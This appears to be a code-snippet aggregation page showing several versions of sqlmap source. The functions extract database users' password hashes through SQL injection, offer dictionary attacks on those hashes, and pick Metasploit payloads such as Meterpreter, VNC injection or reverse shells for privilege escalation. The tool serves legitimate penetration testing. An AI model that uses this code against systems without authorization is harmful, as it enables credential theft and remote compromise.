                        password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (probably because the DBMS "
            errMsg += "current user has no read privileges over the relevant "
            errMsg += "system database table(s))"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = "do you want to perform a dictionary-based attack "
            message += "against retrieved password hashes? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Example #18
0
    def _selectPayload(self):
        if Backend.isOs(OS.WINDOWS) and conf.privEsc:
            infoMsg = "forcing Metasploit payload to Meterpreter because "
            infoMsg += "it is the only payload that can be used to "
            infoMsg += "escalate privileges via 'incognito' extension, "
            infoMsg += "'getsystem' command or post modules"
            logger.info(infoMsg)

            _payloadStr = "windows/meterpreter"
        else:
            _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList)

        if _payloadStr == "windows/vncinject":
            choose = False

            if Backend.isDbms(DBMS.MYSQL):
                debugMsg = "by default MySQL on Windows runs as SYSTEM "
                debugMsg += "user, it is likely that the the VNC "
                debugMsg += "injection will be successful"
                logger.debug(debugMsg)

            elif Backend.isDbms(DBMS.PGSQL):
                choose = True

                warnMsg = "by default PostgreSQL on Windows runs as "
                warnMsg += "postgres user, it is unlikely that the VNC "
                warnMsg += "injection will be successful"
                logger.warn(warnMsg)

            elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                choose = True

                warnMsg = "it is unlikely that the VNC injection will be "
                warnMsg += "successful because usually Microsoft SQL Server "
                warnMsg += "%s runs as Network Service " % Backend.getVersion()
                warnMsg += "or the Administrator is not logged in"
                logger.warn(warnMsg)

            if choose:
                message = "what do you want to do?\n"
                message += "[1] Give it a try anyway\n"
                message += "[2] Fall back to Meterpreter payload (default)\n"
                message += "[3] Fall back to Shell payload"

                while True:
                    choice = readInput(message, default="2")

                    if not choice or choice == "2":
                        _payloadStr = "windows/meterpreter"

                        break

                    elif choice == "3":
                        _payloadStr = "windows/shell"

                        break

                    elif choice == "1":
                        if Backend.isDbms(DBMS.PGSQL):
                            logger.warn("beware that the VNC injection might not work")

                            break

                        elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            break

                    elif not choice.isdigit():
                        logger.warn("invalid value, only digits are allowed")

                    elif int(choice) < 1 or int(choice) > 2:
                        logger.warn("invalid value, it must be 1 or 2")

        if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter":
            warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "")
            warnMsg += "with the Meterpreter payload. Falling back to "
            warnMsg += "reverse TCP"
            logger.warn(warnMsg)

            self.connectionStr = "reverse_tcp"

        return _payloadStr
Example #19
0
    def __selectPayload(self):
        if kb.os == "Windows" and conf.privEsc:
            infoMsg  = "forcing Metasploit payload to Meterpreter because "
            infoMsg += "it is the only payload that can be used to "
            infoMsg += "escalate privileges, either via 'incognito' "
            infoMsg += "extension or via 'getsystem' command"
            logger.info(infoMsg)

            __payloadStr = "windows/meterpreter"

        else:
            __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)

        if __payloadStr == "windows/vncinject":
            choose = False

            if Backend.getIdentifiedDbms() == DBMS.MYSQL:
                debugMsg  = "by default MySQL on Windows runs as SYSTEM "
                debugMsg += "user, it is likely that the the VNC "
                debugMsg += "injection will be successful"
                logger.debug(debugMsg)

            elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
                choose = True

                warnMsg  = "by default PostgreSQL on Windows runs as "
                warnMsg += "postgres user, it is unlikely that the VNC "
                warnMsg += "injection will be successful"
                logger.warn(warnMsg)

            elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
                choose = True

                warnMsg  = "it is unlikely that the VNC injection will be "
                warnMsg += "successful because usually Microsoft SQL Server "
                warnMsg += "%s runs as Network Service " % Backend.getVersion()
                warnMsg += "or the Administrator is not logged in"
                logger.warn(warnMsg)

            if choose:
                message  = "what do you want to do?\n"
                message += "[1] Give it a try anyway\n"
                message += "[2] Fall back to Meterpreter payload (default)\n"
                message += "[3] Fall back to Shell payload"

                while True:
                    choice = readInput(message, default="2")

                    if not choice or choice == "2":
                        __payloadStr = "windows/meterpreter"

                        break

                    elif choice == "3":
                        __payloadStr = "windows/shell"

                        break

                    elif choice == "1":
                        if Backend.getIdentifiedDbms() == DBMS.PGSQL:
                            logger.warn("beware that the VNC injection might not work")

                            break

                        elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
                            break

                    elif not choice.isdigit():
                        logger.warn("invalid value, only digits are allowed")

                    elif int(choice) < 1 or int(choice) > 2:
                        logger.warn("invalid value, it must be 1 or 2")

        return __payloadStr
Example #20
0
    def getPasswordHashes(self):
        infoMsg = u"获取数据库用户密码哈希"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                randStr = randomStr()
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                randStr = randomStr()
                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        password = "******" % hexencode(password).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = u"获取用户'%s'的密码哈希数量" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = u"无法检索用户'%s'的密码哈希数量" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = u"获取用户'%s'的密码哈希值" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user,)
                        else:
                            query = rootQuery.blind.query % (user, index)

                        password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = u"无法检索用户'%s'的密码哈希值" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = u"无法检索数据库用户的密码哈希"
            errMsg += u"(可能是因为会话用户没有相关系统数据库表的读取权限)"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = u"您是否要对所检索的密码散列进行基于字典的攻击? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Example #21
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(",")

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION,
                          PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                ("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user)
                                     for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                randStr = randomStr()
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, randStr),
                    ['%s.name' % randStr,
                     '%s.password' % randStr],
                    blind=False)

                if retVal:
                    for user, password in filterPairValues(
                            zip(retVal[0]["%s.name" % randStr],
                                retVal[0]["%s.password" % randStr])):
                        # password = "******" % strToHex(password)
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                value = inject.getValue(query, blind=False)

                for user, password in filterPairValues(value):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable(
        ) and not conf.direct:
            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                randStr = randomStr()
                query = rootQuery.inband.query

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, randStr),
                    ['%s.name' % randStr,
                     '%s.password' % randStr],
                    blind=True)

                if retVal:
                    for user, password in filterPairValues(
                            zip(retVal[0]["%s.name" % randStr],
                                retVal[0]["%s.password" % randStr])):
                        password = "******" % strToHex(password)

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    if user in retrievedUsers:
                        continue

                    infoMsg = "fetching number of password hashes "
                    infoMsg += "for user '%s'" % user
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                        ("2005", "2008")):
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)
                        continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                              DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index,
                                                                  user)
                            else:
                                query = rootQuery.blind.query % (user, index,
                                                                 user)
                        else:
                            query = rootQuery.blind.query % (user, index)
                        password = inject.getValue(query,
                                                   inband=False,
                                                   error=False)
                        password = parsePasswordHash(password)
                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (most probably because the session "
            errMsg += "user has no read privileges over the relevant "
            errMsg += "system database table)"
            raise sqlmapNoneDataException, errMsg
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(
                    set(kb.data.cachedUsersPasswords[user]))

        message = "do you want to perform a dictionary-based attack "
        message += "against retrieved password hashes? [Y/n/q]"
        test = readInput(message, default="Y")

        if test[0] in ("n", "N"):
            pass
        elif test[0] in ("q", "Q"):
            raise sqlmapUserQuitException
        else:
            attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords